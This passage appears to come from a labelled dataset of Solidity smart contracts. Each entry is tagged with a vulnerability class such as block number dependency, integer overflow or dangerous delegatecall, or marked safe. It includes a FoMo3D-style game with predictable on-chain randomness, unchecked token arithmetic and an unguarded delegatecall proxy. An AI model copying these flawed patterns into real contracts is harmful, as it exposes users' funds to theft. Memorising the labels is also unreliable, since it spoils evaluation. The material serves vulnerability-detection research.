(1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); _res = _res.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d; round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1089.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 14108.sol,"contract Delegatable { address empty1; address empty2; address empty3; address public owner; address public delegation; event DelegationTransferred(address indexed previousDelegate, address indexed newDelegation); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferDelegation(address newDelegation) public onlyOwner { require(newDelegation != address(0)); emit DelegationTransferred(delegation, newDelegation); delegation = newDelegation; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DelegateProxy { function delegatedFwd(address _dst, bytes _calldata) internal { assembly { let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract Proxy is Delegatable, DelegateProxy { function () public { delegatedFwd(delegation, msg.data); } function initialize(address _controller, uint256 _cap) public { require(owner == 0); owner = msg.sender; delegation = _controller; delegatedFwd(_controller, msg.data); } }",./Dataset/dangerous delegatecall (DE)/,1,1 0x03c2f70569ad424d8db18ad5092a7e4b563cacc8_TraxionWallet.sol,"pragma solidity ^0.4.21; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TraxionWallet is Ownable { using SafeMath for uint; constructor(){ transferOwnership(0xC889dFBDc9C1D0FC3E77e46c3b82A3903b2D919c); } // Address where funds are collected address public wallet = 0xbee44A7b93509270dbe90000f7ff31268D8F075e; // how much one token is worth uint public weiPerToken = 0.0007 ether; // should be the same as in the TraxionToken contract uint public decimals = 18; // Minimum investment in wei uint public minInvestment = 0.4 ether; // Maximum investment in wei uint public investmentUpperBounds = 2000 ether; // Hard cap in wei uint public hardcap = 45000 ether; // Amount of wei raised uint public weiRaised = 0; event TokenPurchase(address indexed beneficiary, uint value, uint amount); /** Whitelist an address and set max investment **/ mapping (address => bool) public whitelistedAddr; mapping (address => uint) public totalInvestment; // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** @dev whitelist an Address */ function whitelistAddress(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = true; } } /** @dev black list an address **/ function blacklistAddr(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = false; } } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint tokens = _getTokenAmount(weiAmount); assert(tokens != 0); // update state weiRaised = weiRaised.add(weiAmount); emit TokenPurchase(msg.sender, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); } // ----------------------------------------- // Internal interface // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint _weiAmount) internal view { require(_beneficiary != address(0)); require(_weiAmount != 0); require(_weiAmount >= minInvestment); require(whitelistedAddr[_beneficiary]); require(totalInvestment[_beneficiary].add(_weiAmount) <= investmentUpperBounds); require(weiRaised.add(_weiAmount) <= hardcap); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint _weiAmount) internal { totalInvestment[_beneficiary] = totalInvestment[_beneficiary].add(_weiAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint _weiAmount) internal view returns (uint) { return _weiAmount.mul(10 ** decimals).div(weiPerToken); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } }",Safe,8,8 1304.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract iCarChain is owned { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); event Approval(address indexed owner, address indexed spender, uint256 value); function iCarChain(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[msg.sender]); _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) onlyOwner returns (bool success) { require(!frozenAccount[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender,_spender,_value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) onlyOwner returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } }",./Dataset/integer overflow (OF)/,4,4 0x04c6df85a9b0e8d2a7aa3c6f4891cd8d19dc75da_NanoLedger.sol,"pragma solidity ^0.4.21; contract NanoLedger{ mapping (uint => string) data; function saveCode(uint256 id, string dataMasuk) public{ data[id] = dataMasuk; } function verify(uint8 id) view public returns (string){ return (data[id]); } }",Safe,8,8 1703.sol," pragma solidity ^0.4.13; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract TheEthGame { using SafeMath for uint256; struct Player { uint256 score; uint256 lastCellBoughtOnBlockNumber; uint256 numberOfCellsOwned; uint256 numberOfCellsBought; uint256 earnings; uint256 partialHarmonicSum; uint256 partialScoreSum; address referreal; bytes32 name; } struct Cell { address owner; uint256 price; } address public owner; uint256 constant private NUMBER_OF_LINES = 6; uint256 constant private NUMBER_OF_COLUMNS = 6; uint256 constant private NUMBER_OF_CELLS = NUMBER_OF_COLUMNS * NUMBER_OF_LINES; uint256 constant private DEFAULT_POINTS_PER_CELL = 3; uint256 constant private POINTS_PER_NEIGHBOUR = 1; uint256 constant private CELL_STARTING_PRICE = 0.01 ether; uint256 constant private BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME = 10000; uint256 constant private PRICE_INCREASE_PERCENTAGE = uint(2); uint256 constant private REFERREAL_PERCENTAGE = uint(10); uint256 constant private POT_PERCENTAGE = uint(30); uint256 constant private DEVELOPER_PERCENTAGE = uint(5); uint256 constant private SCORE_PERCENTAGE = uint(25); uint256 constant private NUMBER_OF_CELLS_PERCENTAGE = uint(30); Cell[NUMBER_OF_CELLS] cells; address[] private ranking; mapping(address => Player) players; mapping(bytes32 => address) nameToAddress; uint256 public numberOfCellsBought; uint256 private totalScore; uint256 private developersCut = 0 ether; uint256 private potCut = 0 ether; uint256 private harmonicSum; uint256 private totalScoreSum; address private rankOnePlayerAddress; uint256 private isFirstSinceBlock; address public trophyAddress; event Bought (address indexed _from, address indexed _to); constructor () public { owner = msg.sender; trophyAddress = new TheEthGameTrophy(); } modifier onlyOwner() { require(owner == msg.sender); _; } function nextPriceOf (uint256 _cellId) public view returns (uint256 _nextPrice) { return priceOf(_cellId).mul(100 + PRICE_INCREASE_PERCENTAGE) / 100; } function priceOf (uint256 _cellId) public view returns (uint256 _price) { if (cells[_cellId].price == 0) { return CELL_STARTING_PRICE; } return cells[_cellId].price; } function earningsFromNumberOfCells (address _address) internal view returns (uint256 _earnings) { return harmonicSum.sub(players[_address].partialHarmonicSum).mul(players[_address].numberOfCellsBought); } function distributeEarningsBasedOnNumberOfCells (address _address) internal { players[_address].earnings = players[_address].earnings.add(earningsFromNumberOfCells(_address)); players[_address].partialHarmonicSum = harmonicSum; } function earningsFromScore (address _address) internal view returns (uint256 _earnings) { return totalScoreSum.sub(players[_address].partialScoreSum).mul(scoreOf(_address)); } function distributeEarningsBasedOnScore (address _newOwner, address _oldOwner) internal { players[_newOwner].earnings = players[_newOwner].earnings.add(earningsFromScore(_newOwner)); players[_newOwner].partialScoreSum = totalScoreSum; if (_oldOwner != address(0)) { players[_oldOwner].earnings = players[_oldOwner].earnings.add(earningsFromScore(_oldOwner)); players[_oldOwner].partialScoreSum = totalScoreSum; } } function earningsOfPlayer () public view returns (uint256 _wei) { return players[msg.sender].earnings.add(earningsFromScore(msg.sender)).add(earningsFromNumberOfCells(msg.sender)); } function getRankOnePlayer (address _oldOwner) internal view returns (address _address, uint256 _oldOwnerIndex) { address rankOnePlayer; uint256 oldOwnerIndex; for (uint256 i = 0; i < ranking.length; i++) { if (scoreOf(ranking[i]) > scoreOf(rankOnePlayer)) { rankOnePlayer = ranking[i]; } else if (scoreOf(ranking[i]) == scoreOf(rankOnePlayer) && players[ranking[i]].lastCellBoughtOnBlockNumber > players[rankOnePlayer].lastCellBoughtOnBlockNumber) { rankOnePlayer = ranking[i]; } if (ranking[i] == _oldOwner) { oldOwnerIndex = i; } } return (rankOnePlayer, oldOwnerIndex); } function buy (uint256 _cellId, address _referreal) payable public { require(msg.value >= priceOf(_cellId)); require(!isContract(msg.sender)); require(_cellId < NUMBER_OF_CELLS); require(msg.sender != address(0)); require(!isGameFinished()); require(ownerOf(_cellId) != msg.sender); require(msg.sender != _referreal); address oldOwner = ownerOf(_cellId); address newOwner = msg.sender; uint256 price = priceOf(_cellId); uint256 excess = msg.value.sub(price); bool isReferrealDistributed = distributeToReferreal(price, _referreal); if (numberOfCellsBought > 0) { harmonicSum = harmonicSum.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE) / (numberOfCellsBought * 100)); if (isReferrealDistributed) { totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE) / (totalScore * 100)); } else { totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE.add(REFERREAL_PERCENTAGE)) / (totalScore * 100)); } }else{ potCut = potCut.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE.add(SCORE_PERCENTAGE)) / 100); } numberOfCellsBought++; distributeEarningsBasedOnNumberOfCells(newOwner); players[newOwner].numberOfCellsBought++; players[newOwner].numberOfCellsOwned++; if (ownerOf(_cellId) != address(0)) { players[oldOwner].numberOfCellsOwned--; } players[newOwner].lastCellBoughtOnBlockNumber = block.number; address oldRankOnePlayer = rankOnePlayerAddress; (uint256 newOwnerScore, uint256 oldOwnerScore) = calculateScoresIfCellIsBought(newOwner, oldOwner, _cellId); distributeEarningsBasedOnScore(newOwner, oldOwner); totalScore = totalScore.sub(scoreOf(newOwner).add(scoreOf(oldOwner))); players[newOwner].score = newOwnerScore; players[oldOwner].score = oldOwnerScore; totalScore = totalScore.add(scoreOf(newOwner).add(scoreOf(oldOwner))); cells[_cellId].price = nextPriceOf(_cellId); if (players[newOwner].numberOfCellsOwned == 1) { ranking.push(newOwner); } if (oldOwner == rankOnePlayerAddress || (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0))) { (address rankOnePlayer, uint256 oldOwnerIndex) = getRankOnePlayer(oldOwner); if (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0)) { delete ranking[oldOwnerIndex]; } rankOnePlayerAddress = rankOnePlayer; }else{ if (scoreOf(newOwner) >= scoreOf(rankOnePlayerAddress)) { rankOnePlayerAddress = newOwner; } } if (rankOnePlayerAddress != oldRankOnePlayer) { isFirstSinceBlock = block.number; } developersCut = developersCut.add(price.mul(DEVELOPER_PERCENTAGE) / 100); potCut = potCut.add(price.mul(POT_PERCENTAGE) / 100); _transfer(oldOwner, newOwner, _cellId); emit Bought(oldOwner, newOwner); if (excess > 0) { newOwner.transfer(excess); } } function distributeToReferreal (uint256 _price, address _referreal) internal returns (bool _isDstributed) { if (_referreal != address(0) && _referreal != msg.sender) { players[msg.sender].referreal = _referreal; } if (players[msg.sender].referreal != address(0)) { address ref = players[msg.sender].referreal; players[ref].earnings = players[ref].earnings.add(_price.mul(REFERREAL_PERCENTAGE) / 100); return true; } return false; } function getPlayers () external view returns(uint256[] _scores, uint256[] _lastCellBoughtOnBlock, address[] _addresses, bytes32[] _names) { uint256[] memory scores = new uint256[](ranking.length); address[] memory addresses = new address[](ranking.length); 